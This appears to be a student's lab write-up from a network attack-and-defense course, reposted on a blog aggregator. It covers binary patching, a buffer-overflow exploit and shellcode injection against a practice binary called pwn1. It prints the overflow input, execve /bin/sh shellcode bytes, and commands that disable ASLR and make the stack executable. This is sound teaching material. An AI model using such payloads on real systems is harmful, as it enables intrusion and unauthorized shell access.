zoukankan      html  css  js  c++  java
  • 2019-2020-2 2 20175235 泽仁拉措 《网络对抗技术》实验一 PC平台逆向破解

    20175235 《网络对抗技术》实验一 PC平台逆向破解


    20175235泽仁拉措

    **目录:**

    一、逆向及BOF基础实践说明

    二、实验操作及具体步骤

    三、实验收获与感想

    实验内容
    一、逆向及BOF基础实践说明
    • 1.1实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell

    正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何
    Shellcode
    返回目录

    • 1.2基础知识

      ①、 objdump反汇编常用参数

      objdump -d <file(s)>: 将代码段反汇编;

      objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;

      objdump -C <file(s)>: 将C++符号名逆向解析

      objdump -l <file(s)>: 反汇编代码中插入文件名和行号

      objdump -j section <file(s)>: 仅反汇编指定的section

      ②、 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

      •NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

      •JNE:条件转移指令,如果不相等则跳转。(机器码:75)

      •JE:条件转移指令,如果相等则跳转。(机器码:74)

      •JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

      •CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

      ③、 反汇编与十六进制编程器

      反汇编指令为objdump -d <文件名>

      十六进制指令为perl -e 'print "字符/字符串"' > <文件名>

    二、实验操作及具体步骤
    • 1.1修改程序机器指令,改变程序执行流程

      1.下载目标文件pwn1,并输入指令objdump -d pwn1 | more进行反汇编


      2.第一列为内存地址,第二列为机器指令、第三列

      为机器指令对应的汇编语言。

      3.main函数调用getshell,计算getShell-80484ba的补码,并用其替换掉d7ffffff即可在windows计算器中计算804847d-80484ba即可得到补码c3ffffff
      4.首先vi pwn1,打开文件后为乱码

      5.输入%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

      6.输入i进入插入模式,将d7修改为c3
      输入:%!xxd -r将十六进制模式转换为原格式
      输入:wq保存退出,反汇编查看机器指令;



      7../pwn0运行结果

    • 1.2通过构造输入参数,造成BOF攻击,改变程序执行流

      · 安装gdb,输入sudo apt-get install gdb后使用命令gdb pwn3调试程序,参数r表示运行

      · 若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错

      · 使用info r指令显示寄存器的值

      ·getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为x7dx84x04x08

      ·输入 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

      ·使用xxd input查看文件内容


    • 1.3注入Shellcode并执行
      ·安装execstack
      ·修改设置
      execstack -s pwn1 //设置堆栈可执行
      execstack -q pwn1 //查询文件的堆栈是否可执行
      more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
      echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

      ·构造payload,提供构造命令如下:

      perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73
      x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0
      x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

      ·注入:cat input_shellcode;cat) | ./pwn3


    ·开启一个新的终端,输入ps -ef | grep pwn3查询其进程号,gdb调试进程
    ·输入attach3044调试该进程,输入disassemble foo查看ret的地址,break *0x080484ae设置断点

    ·进入第一个终端运行程序,在新终端gdb中输入c继续运行,输入info r esp查看栈顶指针位置、改地址存放的数据(见上图)
    老操作,修改文件中的代码并执行,攻击成功:

    返回目录

    三、实验收获与感想
          1.这次实验刚开始复制pwn1目标文件,共享文件夹完成的较好,直接拖到主机就成功了,后面下载了gdb,实验很顺利的进行下去了,除了不细心,总会敲错指令,整体还是挺顺利的,收获还是很多的,深刻认识到了缓冲区溢出攻击。
          2.什么是漏洞,漏洞有哪些危害?
              ·漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
              ·如果被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
  • 相关阅读:
    sl跨域访问学习笔记2
    XAML标记扩展
    充分利用资源,实践中创新
    程序集版本号与文件版本号的区别
    项目管理: 软件质量的可靠保证
    未能将临时文件复制到输出目录中
    IBM DB2 UDB V8.1®,Oracle9i R2®,Microsoft SQL Server 2000® 技术比较分析
    Asp.net 1.0 升级至 ASP.NET 2.0十个问题总结
    The remote procedure call failed and did not execute的解决办法
    快速解决IIS5故障一例
  • 原文地址:https://www.cnblogs.com/Zrlc/p/12444611.html
Copyright © 2011-2022 走看看